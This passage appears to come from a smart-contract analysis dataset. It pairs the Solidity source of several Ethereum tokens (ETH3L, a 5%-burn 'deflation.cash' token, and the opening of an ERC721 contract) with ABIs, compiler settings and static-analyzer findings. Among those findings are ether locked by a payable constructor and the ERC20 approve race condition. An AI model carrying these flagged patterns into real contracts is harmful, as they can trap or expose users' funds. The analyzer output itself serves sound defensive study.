* * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } /** * @dev Optional functions from the ERC20 standard. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } } contract ETH3L is ERC20, ERC20Detailed { constructor() ERC20Detailed("ETH3L", "ETH3L", 18) public { _mint(msg.sender, 100000000*10** uint256(18) ); } }
[]
[{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ETH3L.sol": [175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ETH3L.sol": [144, 145, 146]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ETH3L.sol": [480, 481, 482, 479]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ETH3L.sol": [448, 449, 450, 444, 445, 446, 447]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ETH3L.sol": [256, 257, 254, 255]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ETH3L.sol": [224, 217, 218, 219, 220, 221, 222, 223]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ETH3L.sol": [24, 25, 26, 27]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ETH3L.sol": [237, 238, 239]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ETH3L.sol": [200, 201, 202]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ETH3L.sol": [531, 532, 533]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ETH3L.sol": [515, 516, 517]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ETH3L.sol": [507, 508, 509]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ETH3L.sol": [352, 353, 354, 355, 351]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ETH3L.sol": [388, 389, 390, 391]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ETH3L.sol": [304, 305, 303]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ETH3L.sol": [315, 316, 317, 318]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ETH3L.sol": [369, 370, 371, 372]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ETH3L.sol": [296, 297, 298]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ETH3L.sol": [336, 337, 334, 335]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ETH3L.sol": [323, 324, 325]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"ETH3L.sol": [1]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"ETH3L.sol": [515, 516, 517]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"ETH3L.sol": [531, 532, 533]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"ETH3L.sol": [507, 508, 509]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"ETH3L.sol": [14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"ETH3L.sol": [539]}}]
[]
[{"rule": "SOLIDITY_ERC20_APPROVE", "line": 334, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 287, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 289, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 291, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 489, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 490, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 491, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 285, "severity": 1}]
[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"amount","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"sender","type":"address"},{"name":"recipient","type":"address"},{"name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"account","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"recipient","type":"address"},{"name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"}]
v0.5.2+commit.1df8f40c
false
200
Default
false
deflation
0xb1f9f9a6e52c0ef957f42703165fcd2d2a685cf9
Solidity
pragma solidity ^0.5.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function ceil(uint256 a, uint256 m) internal pure returns (uint256) { uint256 c = add(a,m); uint256 d = sub(c,1); return mul(div(d,m),m); } } contract ERC20Detailed is IERC20 { uint8 public _Tokendecimals; string public _Tokenname; string public _Tokensymbol; constructor(string memory name, string memory symbol, uint8 decimals) public { _Tokendecimals = decimals; _Tokenname = name; _Tokensymbol = symbol; } function name() public view returns(string memory) { return _Tokenname; } function symbol() public view returns(string memory) { return _Tokensymbol; } function decimals() public view returns(uint8) { return _Tokendecimals; } } contract deflation is ERC20Detailed { using SafeMath for uint256; mapping (address => uint256) public _deflationTokenBalances; mapping (address => mapping (address => uint256)) public _allowed; string constant tokenName = "deflation.cash"; string constant tokenSymbol = "deca"; uint8 constant tokenDecimals = 18; uint256 _totalSupply = 50000000000000000000; constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) { _generate(msg.sender, _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _deflationTokenBalances[owner]; } function transfer(address to, uint256 value) public returns (bool) { require(value <= _deflationTokenBalances[msg.sender]); require(to != address(0)); uint256 deflationTokenDecay = value.div(20); uint256 tokensToTransfer = value.sub(deflationTokenDecay); _deflationTokenBalances[msg.sender] = _deflationTokenBalances[msg.sender].sub(value); _deflationTokenBalances[to] = _deflationTokenBalances[to].add(tokensToTransfer); _totalSupply = _totalSupply.sub(deflationTokenDecay); emit Transfer(msg.sender, to, tokensToTransfer); emit Transfer(msg.sender, address(0), deflationTokenDecay); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { require(value <= _deflationTokenBalances[from]); require(value <= _allowed[from][msg.sender]); require(to != address(0)); _deflationTokenBalances[from] = _deflationTokenBalances[from].sub(value); uint256 deflationTokenDecay = value.div(20); uint256 tokensToTransfer = value.sub(deflationTokenDecay); _deflationTokenBalances[to] = _deflationTokenBalances[to].add(tokensToTransfer); _totalSupply = _totalSupply.sub(deflationTokenDecay); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); emit Transfer(from, to, tokensToTransfer); emit Transfer(from, address(0), deflationTokenDecay); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _generate(address account, uint256 amount) internal { require(amount != 0); _deflationTokenBalances[account] = _deflationTokenBalances[account].add(amount); emit Transfer(address(0), account, amount); } function burn(uint256 amount) external { _burn(msg.sender, amount); } function _burn(address account, uint256 amount) internal { require(amount != 0); require(amount <= _deflationTokenBalances[account]); _totalSupply = _totalSupply.sub(amount); _deflationTokenBalances[account] = _deflationTokenBalances[account].sub(amount); emit Transfer(account, address(0), amount); } function burnFrom(address account, uint256 amount) external { require(amount <= _allowed[account][msg.sender]); _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount); _burn(account, amount); } }
[{"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["83", "84", "85"]}]
[{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"deflation.sol": [18, 19, 20, 21, 22, 23, 24, 25, 26]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"deflation.sol": [44, 45, 46, 47, 48]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"deflation.sol": [73, 74, 75]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"deflation.sol": [69, 70, 71]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"deflation.sol": [65, 66, 67]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"deflation.sol": [93, 94, 95]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"deflation.sol": [102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"deflation.sol": [132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"deflation.sol": [97, 98, 99]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"deflation.sol": [153, 154, 155, 156, 157, 158]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"deflation.sol": [128, 129, 130, 125, 126, 127]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"deflation.sol": [160, 161, 162, 163, 164, 165]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"deflation.sol": [120, 121, 122]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"deflation.sol": [1]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"deflation.sol": [69, 70, 71]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"deflation.sol": [73, 74, 75]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"deflation.sol": [65, 66, 67]}}, {"check": "locked-ether", "impact": "Medium", "confidence": "High", "lines": {"deflation.sol": [89, 90, 91]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"deflation.sol": [54]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"deflation.sol": [81]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"deflation.sol": [85]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"deflation.sol": [78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"deflation.sol": [53]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"deflation.sol": [82]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"deflation.sol": [84]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"deflation.sol": [86]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"deflation.sol": [55]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"deflation.sol": [83]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"deflation.sol": [86]}}]
[]
[{"rule": "SOLIDITY_DIV_MUL", "line": 47, "severity": 2}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 125, "severity": 2}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 78, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 80, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 83, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 84, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 85, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 86, "severity": 1}]
[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_Tokenname","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_Tokendecimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"_deflationTokenBalances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"_Tokensymbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"account","type":"address"},{"name":"amount","type":"uint256"}],"name":"burnFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"_allowed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"}]
v0.5.0+commit.1d4f565a
false
200
Default
None
false
bzzr://6e0692e4ce415436efa40bd7c71d576932a4780cba17ac8e1b3ccfa36e0ff586
AeraForce
0x29a265261bc3ba1cb8a438110e6550ea66261bc7
Solidity
pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes 